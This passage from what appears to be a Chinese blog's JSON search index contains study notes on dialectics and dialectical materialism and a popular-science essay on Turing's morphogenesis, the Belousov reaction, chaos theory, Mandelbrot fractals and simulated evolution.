两者在一定条件下相互转化 矛盾的主要方面：处于支配地位，起主导作用的方面 矛盾的次要方面：处于被支配地位，不起主导作用的方面 矛盾的主要方面和矛盾的次要方面的联系： 相互依赖，相互影响 两者在一定条件下相互转化 方法论： 要坚持 “两点论” 和 “重点论” 的统一，“两点论” 和 “重点论” 的统一要求我们看问题既要全面地看，又要看主流、大势、发展趋势。 量变质变规律量、质、度量是事物的规模、程度、速度等可以用数量关系表示的规定性。 质是一事物区别于其他事物的内在规定性。 度是保持物质的稳定性的数量界限，即事物的限度、幅度和范围，这启示我们在认识和处理问题时，要掌握适度度原则。 量变和质变量变和质变的区别如下表所示： 区别 量变 质变 性质 事物数量的增减和组成要素次序的变动 事物根本性质的变化，是事物由一种质态向另一种质态的飞跃 特点 渐进的、不显著的变化 根本的、显著的变化 呈现状态 统一、相持、平衡和静止 统一物的分解、平衡和静止的破坏 结果 事物还是其自身，没有变成另一事物 事物不再是其自身，而变成了另一事物 量变和质变的联系，辩证关系： 量变是质变的必要准备； 质变是量变的必然结果； 量变和质变是相互渗透的； 量变和质变是相互依存，相互贯通的，量变引起质变，在新质的基础上，事物又开始新的量变，如此交替循环，构成了事物的发展过程。 否定之否定规律肯定因素和否定因素肯定因素指维持现存事物存在的因素。 否定因素指促使事物灭亡的因素。 辩证否定观辩证否定观的具体内容如下： 否定是事物的自我否定，是事物内部矛盾运动的结果。 否定是事物发展的环节，是旧事物向新事物的转变，是旧质到新质的飞跃。- 否定是新旧事物联系的环节，新事物孕育产生于旧事物，新旧事物是通过否定环节联系起来的。 辩证否定的实质是 “扬弃”，即新事物对旧事物既批判又继承，既克服其消极因素又保留其积极因素。 否定之否定事物的辩证发展过程经过 “肯定 —— 否定 —— 否定之否定” 三个阶段。 否定之否定规律揭示了事物发展的前进性与曲折性的统一。这表明，事物的发展不是直线式前进，而是螺旋式上升的。按照否定之否定规律办事，要求我们树立辩证的否定观，正确看待事物发展的过程，既要看到道路的曲折，又要看到前途的光明。","categories":[{"name":"哲学","slug":"哲学","permalink":"https://blog.mhuig.top/categories/%E5%93%B2%E5%AD%A6/"}],"tags":[{"name":"哲学","slug":"哲学","permalink":"https://blog.mhuig.top/tags/%E5%93%B2%E5%AD%A6/"},{"name":"philosophy","slug":"philosophy","permalink":"https://blog.mhuig.top/tags/philosophy/"}]},{"title":"辩证唯物论","slug":"philosophy/辩证唯物论","date":"2021-09-14T06:50:30.000Z","updated":"2021-09-14T06:50:30.000Z","comments":true,"path":"p/171a81d0/","link":"","permalink":"https://blog.mhuig.top/p/171a81d0/","excerpt":"辩证唯物论是关于世界的的物质性学说、关于物质和意识的辩证关系学说，它采用辩证法的观点研究世界的本质，所要说明的是世界的本质 “是什么” 的问题。","text":"辩证唯物论是关于世界的的物质性学说、关于物质和意识的辩证关系学说，它采用辩证法的观点研究世界的本质，所要说明的是世界的本质 “是什么” 的问题。 辩证唯物论的基本观点是：世界的本原是物质，主张物质决定意识，意识是对物质的反映；同时，意识对物质有能动的反作用，承认世界是物质的，物质具有客观实在性。 物质物质的定义物质是不依赖于人类的意识而存在，并能为人类的意识所反应的客观存在。 物质的唯一特性是客观实在性。 物质和运动物质和运动是不可分割的，二者关系及其具体内容如下表所示： 关系 理解 误区 物质是运动的物质，运动是物质固有的根本属性 任何具体的物质形态只有在运动中才能保持自己的存在，世界上不存在脱离运动的物质 离开运动谈物质会导致形而上学 运动是物质的运动，物质是运动的承担者 任何运动都有自己的承担者或者载体，离开物质载体的运动是不存在的 离开物质谈运动导致唯心主义 运动和静止物质的运动是绝对的，而物质在运动过程中又有某种相对的静止。 运动和静止的区别如下表所示： 运动 静止 含义 宇宙间一切事物、现象的变化和过程 两种情形：一是指空间的相对位置暂时不变，二是指事物的根本性质暂时不变 性质 无条件的、永恒的和绝对的 有条件的、暂时的和相对的 运动和静止的联系： 静止是一种不显著的运动，是运动的特殊状态；动中有静，静中有动，世界上一切事物的存在和发展，都是绝对运动和相对静止的统一。 只承认静止而否认运动是形而上学的不变论，只承认绝对运动而否认相对静止则导致相对主义和诡辩论。 时间和空间时间和空间是物质运动的存在形式。 时间是指物质运动的持续性、顺序性，特点是一维性，即时间的流逝一去不复返。 空间是指物质运动空间的广延性、伸张性，特点是三维性，即空间具有长、宽、高三方面的规定性。 物质运动总是在一定的时间和空间中进行的，没有离开物质运动的 “纯粹” 时间和空间，也没有离开时间和空间的物质运动。 意识意识的含义意识是物质世界长期发展的产物，是人脑的机能和属性，是客观世界的主观映像。 意识是社会的人所特有的精神活动及其成果的总和。从内容上看，人的意识是知、情、意三者的统一。 意识的本质意识是人脑这种特殊物质器官的机能。 意识是对客观存在的反映，其在内容上是客观的，在形式上是主观的。 物质和意识的辩证关系物质和意识的辩证关系体现在：物质决定意识，意识对物质具有反作用（意识的能动作用）。 意识的能动作用主要表现在： 意识活动具有目的性和计划性； 意识活动具有创造性； 意识具有指导实践改造客观世界的作用（最重要的表现）； 意识具有调控人的行为和生理活动的作用。 正确认识和把握物质和意识的辩证关系，还需要处理好主观能动性和客观规律性的关系： 尊重客观规律是正确发挥主观能动性的前提； 只有充分发挥主观能动性，才能正确认识和利用客观规律。","categories":[{"name":"哲学","slug":"哲学","permalink":"https://blog.mhuig.top/categories/%E5%93%B2%E5%AD%A6/"}],"tags":[{"name":"哲学","slug":"哲学","permalink":"https://blog.mhuig.top/tags/%E5%93%B2%E5%AD%A6/"},{"name":"philosophy","slug":"philosophy","permalink":"https://blog.mhuig.top/tags/philosophy/"}]},{"title":"我们从哪里来？","slug":"pen/我们从哪里来","date":"2021-06-06T03:51:37.000Z","updated":"2021-06-06T03:51:37.000Z","comments":true,"path":"p/dad4292a/","link":"","permalink":"https://blog.mhuig.top/p/dad4292a/","excerpt":"","text":"这里探讨的是一个非常简单的问题，我们是怎么来到这里的？ 前言世界上的所有人都是由这些元素和化合物组成的，他们的平常甚至让我们高智能的人类感到尴尬。 事实上，人体的 99% 都是由空气、水、碳以及白垩组成，另外还能找到少量的比较特别的元素，如铁、锌、磷和硫。实际上，组成人体的所有物质加起来最多花几十块钱就能买到。 但是，也不知道怎么的，这些数以万计的普普通通的原子能够携手起来，组成一个能够思考呼吸的活生生的人。 这些简单的积木是如何组合在一起。这无疑是最令人着迷的问题。 你可能会认为仅仅通过科学是不能够回答这个神奇的问题的。但是你敢肯定吗？现在，我们有理由相信，科学已经在这个大胆解释这个问题方面超越了宗教和哲学的解释力。 下面我们将通过一系列相互盘根错节的伟大发现来解释自然界的不为人知的一面。 在这之中蕴含了世上最基本的法则，即不确定性的产生。 这是关于看似廖无生气、毫无目的和动机的物质世界，是如何自发的产生这些极其精细的绚丽的自然。 这是关于世间最基本的法则是如何使这个世界展现出混沌和不可预测性，如何通过简单的物质创造出人。 这是关于一个奇异的发现，即有序和混沌之间，奇特而难以置信的联系。 图灵的方程式自然界充满了生长、发展和混乱，其中到处都是离奇的形状和杂乱的斑点。自然界的图案从来都不会固定不变，从来都不会按原样重复。 这一切看上去混乱的现象都受到数学方程式的影响。事实上，他们完全被数学规则所支配。这种数学规则与我们长久以来的直觉相悖。因此不难相信第一个能够担负此揭示自然界的数学根基重任的人会拥有超乎寻常的智慧。 他即是一个伟大的科学家，同时也是一个大悲剧。 他 1912 年生于伦敦，他的名字就是阿兰・图灵。 阿兰・图灵是一个不凡之人，他是有史以来最伟大的数学家之一。他提出了许多具有基础性的理论和见解。他的思想为现代计算机的出现提供了理论基础。 在二战期间，他在布莱切利园工作，也就是今天的米尔顿凯恩斯外。当时政府正在这里进行一个叫做 X 站的秘密项目。他的建立是为了破解德军的情报密码。 X 站项目组的密码破解人员做出了卓越有成效的工作，其中图灵的贡献至关重要。他亲自参与了破解德国海军密码的工作，因为他的工作数以万计的盟军得以幸存，同时这也导致战略形势的有利扭转。 但是图灵的天赋不仅仅表现在破解密码上，这仅仅是他那超乎常人的洞察力的一部分。对于图灵来说，自然界的密码才是终极密码。在他的一生中，他热切的寻找着破解这个密码的方法。 图灵是一个很有独创精神的人，他意识到这样一种可能性，简单的数学方程式可以描述复杂的生物世界的一些现象。他的这种想法以前从来没有人尝试过，自然界中所有的迷中最吸引图灵的，就是如何能够使用数学方程式来描述人类的智能。 图灵迷上这个想法是有原因的，这就是年轻的克里斯托弗・马尔孔的死。图灵是同性恋，克里斯托弗・马尔孔的死，在那时以及他的一生产生了重要的影响。克里斯托弗・马尔孔突然的死亡了导致阿兰图灵在情感方面产生了极大的触动。但是你能想象，他想把这个事实用科学来解释，他想解释的问题是，我们的心智怎么了，什么是心智。 图灵相信生物界的复杂的系统是可以用数学方程式来描述的，并且人类的智能也是如此。 他的这种信念导致了现代计算机的产生。 之后一个更加激进的想法出现在图灵的脑中，这个想法就是通过简单的数学描述来解释胚胎中发生的复杂的过程。 这个过程被叫做形态发生。它非常令人费解，起初胚胎中的所有细胞都是相同的，细胞们开始组合到一起，并且细胞之间渐渐产生了差异，这是如何发生的呢？物质不会自己思考，也没有一个中央系统在里面进行调度，一开始都是一样的细胞，为什么有的能够变成皮肤，而有的却变成了眼睛呢？ 形态发生是一类现象中的一个例子，这类现象叫做自组织现象。 在图灵之前没有人懂得自组织现象的机制。 直到 1952 年 图灵发表了他的这一篇论文，阐述了用数学方程式来解释形态发生现象。论文中的大胆的猜测是令人震惊的，其中图灵使用了一个在天文学和原子物理学中很常见的一种数学方程式，来描述生命过程。 之前从来没有人做过这种尝试，然而图灵的方程式却第一次的做到了，描述了一个生物系统的自我组织的过程，这解释了即使简单的、毫无自然界事物特性的东西，也可以演变出栩栩如生的东西。 图灵的成果中令人大吃一惊的地方是，我们可以通过设定非常简单，甚至简单到可以仅仅通过简单的方程式就能描述的初始状态，然后让它进行演变。然后突然间，复杂和混乱就会出现，产生的复杂图案就像是自然界的结果。 从许多方面来看这些都是难以置信的。 其实图灵的方程式描述的都是我们很熟知的东西，但是从来没有人将这些数学方程式应用到生物学领域。 试想一阵风吹过沙丘，进而产生了一系列图形。小颗粒自我组织成波纹浪花和沙丘，即使那些小颗粒是彼此相同的。并且没有人告诉他们到底要怎么去组成属于他们的那一部分。 图灵认为，以一种非常形似的方式，在胚胎中渗过的化学物质可能会引导细胞进行自我组织，进而产生各种不同的形状。这是图灵给出的非常粗略的解释，他阐述了一堆毫无生气的化学物质，如何演化为各种不同的形状。 在他的论文中做了一些改进，来使他的方程式能够自发的产生生物图案，那种与动物表皮相似的图案。 图灵到处向别人展示自己生成的图形，你看这难道不像母牛身上的图案吗，其他人的反应是，这个人的脑子有问题吧。但是图灵相信自己在做一件有意义的事情，他们的确像母牛身上的花纹，这就解释了母牛拥有这种斑点花纹的现象。 这样一个数学从未触及的领域，生物界的图案，生成动物斑纹，突然间，这个领域向我们敞开了门。 我们发现数学方程式在这个领域会有用武之地，即使图灵提出的方程式，并不是这一新理论的全部，但仍然是一次重要的创举，提出了这种新方法的可能性。 我们现在知道形态发生，要比图灵所描述的数学方程式复杂多了。事实上，关于 DNA 分子确切的运转机制，仍然是现代科学上争论的话题。 但是图灵提出的数学支配万物的观点确是革命性的，阿兰・图灵的论文是整个形态发生理论的奠基石，他为我们提供了一种解释，连达尔文都没能提出的，解释自然界生物花纹的产生机制。 达尔文仅仅告诉我们，生物的花纹是来源于基因的，并且这种花纹的继承是决定于环境的，但是达尔文并没有揭示，这种生物花纹到底是如何生长的，而这是真正的迷。 图灵的贡献在于提供了了解这种化学机制的途径。图灵提出了一种伟大而勇敢的见解。 不幸的是我们仅仅能够推测这颗伟大的大脑，是如何想出这些的，在他发表他的开创性论文之后不久，一个可怕的并且完全可以避免的悲剧摧毁了他的生命。 在他在布莱切利园破解密码工作之后，你一定可以想到图灵会得到很多赞誉，以感谢他为国家做出的贡献。这再明显不过了。战后发生在他身上的事情是一个悲剧，这是英国科学史上令人感到羞耻的事情。 同年，图灵发表了关于形态发生的论文，他与阿诺德默里这个男人发生了短暂的情感，但是这段情感发展的很令人不愉快，默里对图灵进行了一次入室盗窃，但图灵将这件事情报告给警察的时候，警察连同图灵一起逮捕了。法庭上，原告声称，图灵以他的学历来诱导默里走上了歧途。图灵被判有严重的猥亵罪，法官给了图灵可怕的选择，他要么进监狱，要么接受雌性荷尔蒙注射，进而治疗他的同性恋倾向，他选择了后者。这导致了他连续不断的消沉。 1954 年 6 月 8 日，图灵的尸体被他的清洁工发现。他是一天前死于咬了一口自己注入了氰化物的苹果，结束了自己的生命。 阿兰图灵死的时候 41 岁，这对于科学来说是一种无法估量的损失。图灵不曾想到他的思想会启发后人，将一种全新的数学方法应用到生物学领域。科学家发现他发现的这种方程式，确实能够解释好多生物组织的形态。 回头看看，我们知道图灵真正捕捉到了复杂与混乱源于简单规则，这样的法则。他意外的迈出了，通往新科学的第一步。 贝洛索夫的试液这个过程的第二步更是始料未及，可悲的是伟大的第二步也是一个悲剧。 在 20 世纪 50 年代初，在图灵发表他的对后人影响巨大的论文之际，一名杰出的俄国化学家 斯・贝洛索夫，开始了他自己的探索，关于自然界中的化学。 正在高墙铁网之后的苏维埃卫生部，他正在研究我们的身体是如何从糖中提取能量的。像图灵一样贝洛索夫也是在一个个人项目中工作，他刚刚完成了一段从事科学工作的经历。 贝洛索夫构想好了一种新的化合物配方，来模仿人体内葡萄糖的吸收，这种混合物就摆在实验室的座位前面，在被摇晃的时候清澈而透明。 在他添加最后一种试剂的时候，整个混合物的颜色发生了变化。 当然，这还不算什么特别的，就像我们将墨汁倒入水中水也会改变颜色。 但是接下来发生的事情令人感到惊奇，混合物又变得清澈无色了。 贝洛索夫感到很吃惊，化学物质混合以后会发生反应，但这个过程不能自发的发生逆反应，在不受外界干预的情况下发生可逆变化。 你可以很容易的将一个无色的液体变成有色的，但这个过程的逆过程却不太可能。这太奇怪了，贝洛索夫的试液并没有简单的发生逆变化，试液被摇晃后，就不断的在无色和有色之间变化，就好像这个试液在受一种神秘的内部机制驱动一样。 他非常谨慎小心地又重复多次这个实验，他的混合物能够不断的在无色和有色之间变化，他发现的东西好像魔术一样。一个好像是违反自然法则的物理现象。 贝洛索夫觉得自己的发现意义重大，将自己的发现记录下来，并努力让更多的人了解他的发现，但是当他将他的发现递交到一个顶尖的苏联科学杂志的时候，他收到了一个完全出乎意料的诅咒式的回复，杂志的编辑告诉贝洛索夫，他的发现是不可能在实验室重现的，因为这与基本的物理法则相违背，对这个现象的唯一的解释就是，贝洛索夫在实验的时候出了错，他的发现是不会被出版的。 这个拒绝深深的打击了贝洛索夫，他感到非常的羞辱，结果放弃了自己的实验，而后他又放弃了自己从事的事业。 具有悲剧色彩的讽刺是，由于贝洛索夫所处的闭塞环境，贝洛索夫从来没有机会看到图灵的工作成果。如果他看到了图灵的发现，就能为自己的发现提供有力的证据，事实上，贝洛索夫的不稳定试液，不仅没有违背物理法则，而且是实在就是真实的，能够体现图灵的预言的例子，尽管这两者的发现初看起来并没有什么联系。 其他科学家发现，如果将贝洛索夫的试液的一种变种，不加搅拌的放入培养皿中，而不是摇晃他们的话，他们就会发生自我组织，事实上 ，他们产生的条纹会比图灵预测的花纹要复杂。 他们会产生令人惊诧的复杂的条纹，毫无预兆。 贝洛索夫实验的惊奇之处在于，它能生成一种系统，这种系统产生了图灵方程式所预测的图案，在一个看上去无色的溶液中，产生了这种奇异的原型图案，这明显不是什么抽象科学，贝洛索夫图案的运动模式 ，与我们心脏在跳动的时候周围细胞的运动模式完全相同。动物的皮毛和心脏的跳动，自组织现象在自然界中随处可见。 牛顿经典物理学为什么在科学界在图灵和贝洛索夫的年代 ，却对这种想法不感兴趣甚至持有敌意呢？ 原因就是人类的臭毛病，主流科学家不喜欢这种观点，这与主流科学家的科学直觉相违背，也与现有的科学成就相违背，若想改变这种观念，我们需要一种彻底的，改变传统的发现。 实际上，在 20 世纪初期，科学家们把宇宙看作一个巨大而复杂的机械装置，有点像一个大号的太阳系仪，整个宇宙就好像是一个巨大的错综复杂的机器 ，严格的遵守着数学规则。如果你知道这个机器的运转机制和初始状态，那么随着你转动这个手柄，它将严格地按照预期的行为运转。 在牛顿生活的时代里，当人们在探索驱使宇宙运转的法则时，他们把宇宙看作这种按照确定规则运转的机器。宇宙就好比是一个被设定好的机器，遵循确定的法则按部就班的按照这个法则运转。 宇宙中复杂的现象是有复杂的内部规则驱使的，但是一旦一开始让它运转它只会做一件事。人们从这里看到的现象，都可以使用严格的数学公式来描述。 这实际上是很简单的事情，一旦找到能够描述系统运行的数学方程式，那么你就能够预测系统的走向。 这是一个伟大的想法。 它开始于牛顿的万有引力。万有引力成功的解释了行星围绕太阳运转的现象。科学家们后来又不断的发现了新的方程，牛顿物理似乎已成为了预言宇宙的终极方法。 它给我们暗示了这样一种可能，从原则上讲，未来是可以预测的。 我们采用的测量手段越精确，我们就能越精确的预测未来的情形。 但是牛顿物理产生了一个可怕的后果，如果有一个系统我们能够用数学方程式精确描述，就像这个太阳仪一样，那么一旦它表现出了一些我们不能预测的行为之后，科学家就只能认为，是有某种外界力量影响了这个系统，比如说是沙土跑进去了，或者是小零件磨损了，或者有人对它进行了认为的改动。 一般情况下，我们会这样假设，如果我们遇到了非预期的现象，那么这种现象应该是来自系统外部的干扰，而不是来自系统内部的。不可预测的现象，不是来自系统的本身，而是来自与外部对它的影响。 从这种观点的角度来看，自我组织这种现象是很荒谬的，而图灵和贝洛索夫所表达的，复杂图案可以从系统中自我生成，而不需要外界力量是非常受当时的主流科学所忌讳的。 要想使人接受自我组织理论，那么，就必须推翻牛顿物理学，但这看上去很不可能，无论如何这种新思想在 60 年代末期，成为了新时代的奇景。 蝴蝶效应然而同时，伴随着登月计划，一小群信奉牛顿力学的科学家，意外的发现了一些事情不对劲，完全不对劲。 在 20 世纪后半叶，科学界的噩梦出现了，这个噩梦，动摇了牛顿的思想，并将我们推向了一片思想的混乱。 具有讽刺意味的是，迫使科学界接受自我组织理论的事情，是一种我们叫做混沌的现象。 混沌这个词被广泛使用，但是在科学领域中，它有它专指的意义。它指的是在一个能被数学方程式精确描述的系统中，可以自发生成不可预测的现象，并且不需要任何外界的干预。 通过使用非常简单的法则或方程式，并且里面不包含任何的随机性，系统中的所有元素都是确定的，并且我们完全掌握系统的法则，即使是这样的系统也会产生完全不可预测的现象。 混沌的发现并不讨主流科学的喜欢，有一个人迫使科学界接受混沌，他就是美国的气象学家爱德华・洛伦兹。 在 20 世纪 60 年代早期，他试图寻找能够预测天气变化的数学模型。就像许多他的同事一样，他相信天气系统与我们太阳系仪是一样具有确定性的，一个可以被数学描述和预测的物理系统。 但是他错了，当洛伦兹写下一个用于描述气流的及其简单的数学方程式时，这些方程式并没有达到他预想的目的，他们没有做出任何有价值的预测，这就好像说某一天中的一阵清风，将会决定一个月后的某天是冰雪连天，还是清空万里。 对于一个像太阳系仪这样精准的系统来说，怎么会产生不可预测性呢？ 这源于他的内部构造，由于齿轮的链接方式。 事实上，在某种情况下，即使在初始的时候有一点点误差，哪怕这个误差小到难以测量，这个误差会随着机械的运转而不断被放大，随着系统的运转，系统的状态会一点一点的偏离你所期望的状态。 洛伦兹在一次演讲中表达了这一颠覆性的想法，演讲的题目是 —— 一只蝴蝶在巴西扇动翅膀会使美国的德克萨斯刮一场龙卷风吗？ 这是一次有力而吸引人的演讲，数月之内，我们的语言中就添加了一个新的词汇 —— 蝴蝶效应。 蝴蝶效应就是混沌系统的标志，它开启了之后的一切。 在 70 年代早期 一个叫罗伯特・梅的年轻澳大利亚人，正在研究一个数学方程式，用它来模拟生物种群随时间的变化。 但是这个过程中同样牵扯到蝴蝶效应，哪怕生物的繁殖率发生了极小的变动，都会导致种群数量结果发生巨大的变化，这个数值可能会毫无征兆的上下起伏。 传统的使用数学方程式，来描述系统行为的方法似乎走到了死胡同，某种意义上，这是信仰牛顿学说的人的美梦之终结。 随着我们的计算能力的提高，我们就有能力处理更复杂的方程组，但刚才我们所看到的否认了这种观念。 你可以从一个及其简单的方程式开始，这个方程式简单而不存在任何的随机性，但是如果它产生的行为能够表现出一种混沌性，那么你就不能再回溯到系统的初始状态了。 数百年来所建立的科学观点在几年内就被瓦解了，可以精确描述宇宙的运行的这一想法变成了幻影。 看上去具有逻辑确定的事情，却变得更像是一种信仰。更糟的是，这种现像到处都是。因为混沌到处都是。 似乎不可预测性是固有的，存在于我们生活的宇宙中。 全球气候可能会在几年的时间内，发生剧烈的变化；股市可能会毫无征兆的崩盘；我们可能会在一夜之间从地球上灭绝。 如果这种事情发生的话 没有人能够阻止，不幸的是，我不得不说以上这些都是真的。但是盲目的恐惧混沌现象是毫无意义的。 因为混沌是一条基本的物理法则，我们必须承认它是生活中的一部分。 混沌理论的出现一直影响到之后 20 到 30 年人们的思想，它改变了人们对于科学工作的看法，它深刻的改变了科学家看问题的方式，以至于科学家们现在已经离不开混沌理论了。 混沌理论想要说明的是，简单的数学方程式能够繁衍出复杂的行为，这种复杂性超出你我的想象，所以简单而机械的系统能够表现出复杂和丰富的行为。 混沌理论的发现，是科学史上的一次重大的转折点，它摧毁了牛顿信仰者的梦想，科学家们现在越来越看得惯图灵和贝洛索夫在自发生成花纹上所做的工作。 自反馈系统更重要的是，由于他们的工作，一个伟大的真相浮出水面，那是一种内在而隐蔽的关联，一个贯穿宇宙的关联，关联着自然的神秘力量和自我组织现象，以及蝴蝶效应产生的混沌结果。 图灵、贝洛索夫、梅、洛伦兹这些人都分别发现了一种重大思想的不同侧面。他们发现自然界具有固有的不可预测性，这种不可预测性的内部驱动力，也可以使系统表现出特定的结构和花纹，有序与混沌，似乎要比我们想象的要联系的更加紧密，但这种联系是如何实现的呢？贝洛索夫的花纹与天气变化之间有什么联系呢？ 首先，虽然两个系统都有复杂的工作机制，但他们都是基于及其简单的是数学法则，其次，这些数学法则都具有一种独特的特性，都具有自我链接的特性或者说是自反馈。 为了向你展示这一点，展示简单的自反馈系统的力量，将使用一种看上去简单甚至无聊的实验。 身后的屏幕连接到一台摄像机，这台摄像机同时也在拍摄着我和屏幕，这样不断的循环就能产生无数个人的影像，都投影到屏幕上，这是一个典型的自反馈系统。图片中不断的嵌套着其他的图片。 这乍看上去肯定有规则，但当我们放大镜头，奇怪的事情发生了，我首先发现的是实物图像和屏幕上显示的图像不像了，火柴的微小运动被迅速放大，当影像在摄像机和屏幕之间反复映射的时候，即使我能用精确的数学对外的每一步动作进行描述，但我却不能预测火焰微小的变化，会导致最终的图像如何变化，这就是一种实实在在的蝴蝶效应。 下面的现象变得更离奇了，通过像系统中添加一点点的扰动，这些奇异而美丽的图案就出现了，这种简单的依赖反馈的系统，呈现出了混沌与有序，同样的数学方程式同时产生了混沌和有序的图案。 这将改变你对世界的看法，在传统观念中，自然界都是有序的，混乱存在与系统之外，即有序与混乱是相互独立的这种想法是错的，其实混乱和有序，就像同一架钢琴上弹出的高音和低音，这个发现有史以来第一次如此接近自然界的数学本质。 我们能从图灵的工作，以及化学和生物中得到的，最重要的启示是，所有复杂的图形都是来自，宇宙间简单的演变过程，像扩散， 像化学反应率，这些简单的过程最终导致了图案的产生，所以到处能看到图案，他们不断的产生。 曼德勃罗集合从 70 年代开始越来越多的科学家，开始接受混沌理论，以及对自然界能够自发产生复杂花纹的认可，但是有一位科学家比别人走的更远，对这个令人惊奇颇感迷惑的问题带了个新思路，他是一个具有传奇色彩的不喜欢按套路出牌的人，他叫伯努瓦・曼德勃罗。 伯努瓦・曼德勃罗 并不是一个寻常的孩子，他跳了两个年级。并且由于他是战时欧洲的犹太人，所以他受到的正规教育极其有限，他基本上是靠自学以及亲属对他的教育，他从来没有正式的学习过字母，甚至没有学过 5 以上的乘法。 但是和图灵一样，曼德勃罗具有一种洞悉事物本质的本领，他能从混乱中看到我们所看不到的规律，他能够发现形式和结构，然而我们却仅仅能看到一片混乱，他能够感知一种新奇的数学，用来支配整个自然界的运转。 曼德勃罗的一生都致力于找到一种能够揭示自然界复杂性的一种数学支持。 曼德勃罗当时为 IBM 工作，而不是学校的学术圈内，他试图解决一大堆的问题，关于自然界以及金融界的不确定性，在各个方面的表现。 我觉得他知道自己，所做的所有工作都是一个大问题的不同侧面。 他是一个具有原创精神的人，他觉得求解这个大问题是他真正想做的事情。 在曼德勃罗看来，几百年来传统的数学研究都仅限于，规则的图形是一种很不可取的行为，就像直线和圆，传统的数学是没有办法描述不规则的形状的，而真实世界确是有不规则形状组成的，就像这个鹅卵石，它是一个球体还是一个立方体呢，还是它们中间的某种形状？他到底是一种什么形状？ 曼德勃罗想，是否有一种法则，能够描述自然界的不规则性，那些蓬松的云朵、树和河流的分支，以及蜿蜒的海岸线之间有什么共同的数学基础。 是的，有的。 自然界中所有的形状的共同特点，就是自相似性。这指的是事物的局部，不断的在更微小的尺度上重复自己，不断的精细到每一个细微之处，树枝就是一个绝好的例子，他们不断的分叉，重复这这个简单的过程，在更微小的尺度上不断重复这这个过程。 我们的肺的结构同样遵循这个原则构建，我们体内血管的分布同样遵循这样的规则，河流分成更小的溪流也是这样，自然界可以依照这种方法不断重复各种形状。 看看这个罗马花椰菜，他的总体结构是由许多重复的小圆锥组成的，曼德勃罗意识到自我重复性，是一种全新的几何学的基础，并给这种几何图形起了一个名字 —— 分形。 分形看上去非常简单直观，但是我们如何才能用数学对它进行描述，你能够利用分形的本质画一幅相似的图形吗？那么这张图形会像什么？你能仅使用一些简单的数学法则，来绘制一幅看上去像是自然创造的图案吗？ 曼德勃罗找到了答案。 曼德勃罗爱 20 世纪 50 年代末就职与 IBM，因此有机会使用计算机，并且利用计算机这个工具来寻找自然界的数学本质。 在新一代的超级计算机的帮助下，他开始研究一个看上去很奇怪，但却异常简单的数学方程式，使用这个数学方程式可以绘制一幅不同寻常的图形，我将向你展示的是一幅非常吸引人的图画。它完全由数学产生，惊人之举往往不同寻常。 这就是曼德勃罗集合，他被称为上帝的指纹，当我们仔细看看这幅图后，你就知道我们为什么这么叫了。 &gt;&gt; 鼠标选择区域放大查看曼德勃罗集合细节 &lt;&lt; 就像树和花椰菜一样，你看得越仔细你发现的细节就越多，在这个集合中的每一个图形，都包含了无穷多个小图形，小的子图无穷无尽，然而所有这些复杂的分支都来自有一个简单的方程，这个方程有一个非常重要的特性，它是自反馈的。 每一次输出都成为了下一次计算的输入，这种反馈系统展示了一个简单的，方程式是如何展现出无比绚丽的图案的。 但是令人惊奇的是，曼德勃罗集合并不是一个奇怪的数学巧合，它的这种无穷分形的特性，反映了一种自然的有序的本性，图灵图案、 贝洛索夫的化学反应、曼德勃罗的分形都分别指向了一个自然本质。 简单的法则 无穷的创造当我们看到自然界的复杂面貌时，我们倾向于问，他们来自哪里，我们总是抱有这样的观念。 简单的事物不能导致复杂性的产生，复杂的现象必须源于复杂的设计。 但是我们刚才看到的数学方程式告诉我们，极其简单的法则也会繁衍出复杂的现象。 当你看到复杂现象的时候，你应该想到，驱使它产生的只不过是简单的法则，所以同一个方程式从不同的角度看，既简单又复杂，这就意味着我们需要重新思考，简单性于复杂性之间的关系。 复杂的系统可以基于简单的法则。 这是一个重大的启示，也是一种伟大的思想。它似乎适用于整个世界。 看看这群飞鸟，每一只鸟都遵循简单的法则，但是整个鸟群确是一个极其复杂的东西，他会自动的避开障碍在没有领航情况下进行自我导航，甚至是做计划。 虽然这个鸟群的行为很显著，但我们却不能预测他的行为，它不会重复原先的行为，即使是在相同的环境下。 就像贝洛索夫的化学反应一样，每次你进行这个化学反应产生的图案都稍有不同，他们可能看上去相似但却不可能相同。 对于自反馈的影响和 沙丘同样是这样，我们知道它会产生某种图像，但是我们却不能预测确切的形状。 生物进化的原料我们关心的问题是，大自然能够以这种方式将简单的法则，演绎出复杂的现象吗？ 试着解释一下为什么会有生命的存在，它能够解释为什么充满砂石的世界，是怎么产生人类的吗？ 毫无生机的事物是如何变得充满智能的呢？ 进化正是基于这些简单的生物花纹，进化将这些当成原料，并把它们以不同的方式结合在一起，看看哪些结合方式有效，哪些无效， 保存那些有效的结合，并在它们的基础上进一步演化。 这是一个完全没有意识控制的变换过程，但这基本上就是现实中发生的事情，放眼望去，进化的过程到处都是使用自然界的自我组织的图案。 我们的心脏使用类似贝洛索夫反应的方式来驱使它有节律跳动，我们的血管的组织形式就像分形，就连我们的脑细胞也是遵循极其简单的规则，进化过程丰富并筛选这我们的世界的复杂性。 这是近代科学最有魅力的发现。 计算机模拟的进化机制一方面你拥有一个具有自组织能力的复杂系统，它可以产生不可预测的行为，另一方面需要将进化机制作用于它，这样才能产生适应环境的东西，进化通过无拘无束的创造力，约束着系统的演确实难以置信。 但当这个约束过程发生在宇宙级的时间尺度上，就容易理解了，从地球上第一次出现生物到我们人类的产生，整整花了 35 亿年的时间，但是我们现在手头上，有一种可以在更短的尺度上模拟这个过程的发明。 你知道我指的是什么吗？ 很可能你天天就坐在这个发明面前，当然，这就是计算机。 现代的计算机每秒可以进行上亿次计算，我们可以让它们做一些奇特的事情，它们可以模拟进化过程，确切的说，计算机可以利用进化规则，来约束自己产生真实世界中的现象，使用进化规则来约束和筛选生物组织。 现在，计算机科学家发现这种能够自我演变的软件，可以取代人类最聪明的头脑来解决问题。 我们在最初的实验研究中发现，进化这种系统就像一种算法一样创造着，能够适应环境的复杂系统。 托斯顿和他的研究小组的研究目标是，使用计算机模拟的进化机制，来创造能够控制躯体运动的虚拟大脑。 一开始他们随即设置了 100 个虚拟大脑，就像你看到的这样这些大脑很笨，然后进化的力量来了，计算机自动的选择表现稍好的大脑，然后让它们产生后代，然后再选择能够做的更好的大脑，并让它们继续产生后代，下一代中能够更好的控制躯体行动的大脑，会继续得到繁殖后代的机会。 令人惊奇的是，通过 10 代的繁衍，虽然还是有一些不稳定，但这些小人确实能够行走了。 更神奇的事情是，你最终得到了一种能够正确行走的东西，但是令人感到有点害怕得到是，你却不知该它为什么能走，以及是如何行走的。 